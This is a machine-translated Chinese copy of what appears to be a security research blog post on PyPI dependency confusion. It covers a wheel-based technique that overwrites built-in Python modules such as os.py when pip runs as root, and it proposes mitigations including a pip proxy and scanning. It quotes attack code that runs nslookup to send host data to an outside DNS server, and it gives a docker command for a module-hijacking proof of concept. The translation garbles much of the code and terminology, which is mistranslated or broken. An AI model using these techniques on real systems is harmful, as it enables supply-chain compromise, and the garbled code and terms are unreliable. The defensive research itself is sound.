供应链攻击中的巨蟒轮顶

最近,一本小说供应链攻击是由安全研究员发表的亚历克斯Birsan,详细说明依赖混淆(或“namesquatting)可以被滥用,以便在生产和开发系统上执行恶意代码。
背景依赖性混乱& Birsan的攻击
简而言之,大多数包管理器,例如皮普和npm不要区分内部包(托管在公司内部服务器上)和外部包(托管在公共服务器上)。
因此,一个简单的命令,如PIP安装my-package会高兴地抓住我的包从内部服务器或公共服务器。
请注意,这个问题不同于众所周知的问题受害攻击,因为在Birsan的攻击中,没有依赖于受害者犯印刷错误(例如。PIP安装my- package)
Birsan的研究集中在以下两个事实:
- 任何人都可以将恶意代码上传到这些公共服务器,而不受太多监管。
- 包管理器可能更喜欢从公共服务器(如果可用)获取特定的包,而不是从内部服务器获取。例如,如果公共服务器上的软件包版本较新。
这就造成了这样一种情况:攻击者只需将具有冲突名称的包上传到公共包存储库,就可以使现有的pip命令恶意执行并执行任意代码。
当Birsan在Python包索引(Python Package Index)上发布他的“恶意”包时(PyPi),他选择发布源包,因为这些包可以在安装后立即执行代码,无需用户干预:

我们可以看到这个包是针对Netflix的,通过使用内部前缀nflx和使用非常高的版本6969.99.99取代任何真实的(内部)版本号。
在这篇博文中,我们将:
- 简要探讨源代码发行版和构建发行版之间的区别(关于尽早执行恶意代码)。
- 提出一种新的技术,用于滥用Python轮子以运行恶意代码,即使在未直接调用已安装的包时也是如此。
- 提出一种轻量级的解决方案,防止对PyPi进行名称替换攻击。
源发行版vs.内置发行版
Python支持两种发行版类型:
- 来源分布(
sdist) -源代码发行版包含模块的源代码(. py文件或. c . cpp /对于二进制模块)和asetup . py文件,其中包含有关模块的信息,例如模块版本、许可证和依赖项。其结果是可以在任意操作系统(如Windows和Linux)和架构(如x86和ARM)中使用的跨平台存档。中指定的步骤安装归档文件setup . py,通常编译源代码文件并将生成的代码复制到相关文件夹中。 - 内置分配(
bdist) -构建的发行版只包含模块的构建代码(.pyc文件或所以/ . dll / . dylib对于二进制模块),并放弃setup . py文件。在构建的发行版中,包元数据(如许可证、依赖项等)以文本格式保存(这里的引用)以及构建的代码。其结果是一个只能在单个平台和Python版本(例如Linux-x86_64-Python3.7)上使用的存档。只需将其解压缩到相关文件夹即可安装归档文件。
有几种类型的已构建发行版(如Eggs和Wheels),但在本文中,我们将重点关注Python Wheel,因为它是最现代的类型。
在源代码和已构建发行版的早期运行代码
在源代码发行版中因此,在安装时执行任意代码是微不足道的,因为用户提供的来自发行版的setup.py脚本在安装时由PIP执行。
例如,在Birsan的研究包中,我们可以看到setup.py脚本导入了主模块:
导入nflx_kragle_scripts导入setuptools安装程序(name='nflx_kragle_scripts', version='6969.99.99',…
导致“恶意”代码从模块的运行__init__ . py脚本:
To_resolve = get_hosts(data)为To_resolve中的host: os。系统('nslookup{}{}')。格式(主机、NS))
这段代码只是对指定的DNS服务器进行“ping”,但是在真实的攻击场景中,这可能已经执行了恶意的任意代码。
内置发行版但是,情况却大不相同。
车轮安装(见PEP 427),与以前的安装方法相反,在安装时不运行开发人员提供的代码。相反,它们遵循所提供的步骤在这里(稍后会详细介绍)。
这意味着,通常,最早可能运行车轮代码的时刻是当导入车轮中包含的模块因为模块提供程序可以编写任意的Python代码在模块的__init__ . py脚本。
让我们探讨在特定场景中,在安装时运行任意代码的可能性。
提前劫持巨蟒轮
让我们看看车轮安装步骤重点关注步骤“Spread.2”:
- 移动的每一个子树
distribution-1.0.data /到达目的地 - 的每个子目录
distribution-1.0.data /是目标目录字典的一个键,例如distribution-1.0.data/(purelib|platlib|headers|scripts|data) - 最初支持的路径取自
distutils.command.install
从本质上讲,这一步没有问题,但是在Linux安装中,它可能会有问题。
下的文件和目录distribution-1.0.data / lib将被移动到包含Python库文件的同一目录。常见的布局如下:
lib/ python3.7 python2.7 what-I-had-in-my-package
的位置自由根目录不同venv与常规安装不同,以root身份运行时是不同的。然而,在标准的Linux发行版上,当以root身份运行PIP时,这条路将是/usr/local/lib,这意味着wheel文件可以自由覆盖该目录下的文件。
作为概念证明,我们已经建立了一个“恶意”车轮文件-broken_wheel-1.0.0-py3-none-any.whl,安装后将进行更换os.py.在我们的示例中,我们选择只破坏操作系统模块,但在实际场景中,攻击者可以替换或后门任何内置Python模块,从而在从wheel导入预期模块之前有效地运行恶意Python代码。
要查看PoC的工作情况,你可以在docker实例上运行它:
(不要在您的主机上安装wheel,因为它会破坏Python实例)
Docker运行它——rm -v ' realpath broken_wheel-1.0.0-py3-none-any.whl ':/broken_wheel-1.0.0-py3-none-any. whl。WHL python:3.7 bash -c "pip install /broken_wheel-1.0.0-py3-none-any. "WHL && python”
结果,你会看到os模块确实被替换了,“恶意”负载已经运行,Python现在坏了:
处理/ broken_wheel-1.0.0-py3-none-any。安装收集包:broken-wheel安装成功我们可能在这里运行恶意代码!Python致命错误:initsite:未能导入网站模块回溯(最近的电话最后):文件“/ usr /地方/ lib / python3.7 / site.py”,579行,在主()文件“/ usr /地方/ lib / python3.7 / site.py”,556行,在主known_paths = removeduppaths()文件“/ usr /地方/ lib / python3.7 / site.py”,126行,在removeduppaths dir, dircase = makepath (dir)文件“/ usr /地方/ lib / python3.7 / site.py”,第91行,makepath dir = os.path.join(*路径)AttributeError:模块的操作系统没有属性的路径
如前所述,这种劫持方法仅限于执行皮普作为根用户,这在运行时并不少见皮普外的venv.
减轻名称等同问题
皮普它本身包含几个选项,可以部分减轻所提出的名称盗用攻击,但目前没有提供任何整体解决方案。
例如——跑步皮普与——only-binaryFlag将拒绝安装任何源代码发行版,拒绝在安装时执行代码:
# pip install——only-binary:all: nflx-cloudsol-python-libs错误:无法找到满足要求的版本nflx-cloudsol-python-libs错误:没有找到nflx-cloudsol-python-libs匹配的发行版
也就是说,这不是一个完整的解决方案,因为攻击者可能仍然会建立一个构建的发行版,并依赖受害者在某个时间点导入恶意模块,这将运行恶意代码。
一个更全面的解决方案——piproxy
为了更彻底地解决这个问题,我们开发了piproxy-一个小型代理服务器pip,它修改pip行为安装外部包(例如,从PyPi)只有当包没有在任何内部存储库中找到。这修复了pip中的名称替换问题,该问题目前更倾向于使用具有较新版本的包(无论它来自内部还是外部存储库)。
要使用piproxy,首先将其作为后台进程执行:
Python3 piproxy.py[]…&
然后运行皮普如下:
PIP install -i localhost:8080
只要所有必需的内部包都存在于内部存储库中(并且内部存储库是可用的),这将使名称替换问题变得过时。
所提出的解决方案当然是基本的,并且可以进一步改进/加强—例如,通过添加已批准的内部/外部包的黑名单/白名单,或者定义排除远程存储库中的模式.这种机制还可以帮助防止前面提到的误输入攻击。
使用静态分析的漏洞检测
在最后的部分中,我们介绍了通过缓解和预防来处理此问题的方法,但我们认为,一个完整的解决方案还应该采用某种方法来检测是否已经发生了违规行为。
为了解决这个问题,Vdoo(现在是JFrog的一部分)开发了特定的自动扫描器来检测Python代码(无论是源代码还是字节码)中的恶意行为,例如在Birsan攻击中使用的DNS域生成,并且已经在基于二进制的恶意软件中广泛使用。该Vdoo技术计划于2022年集成到JFrog平台中。
总结
Birsan似乎在这里触动了人们的神经,他指出我们的一些基本开发基础设施并没有按照以安全为中心的方法进行规划。
具体到pip,似乎有一个不定期客票从2017年开始就涉及到这个问题(没有提到安全问题),但是关于如何正确解决这个问题还没有达成共识。
这很好,在某种程度上是意料之中的,但我们JFrog希望这个问题的新焦点将鼓励相关的包管理器维护者从包管理器代码库中修复这个问题,而不是开发人员不得不依赖外部工具和缓解措施。
问题吗?想法吗?联络我们:research@www.si-fil.com如有任何查询有关安全漏洞.
了解更多有关如何做到这一点的信息保护您的组织免受软件供应链攻击.
附件# 1:piproxy.py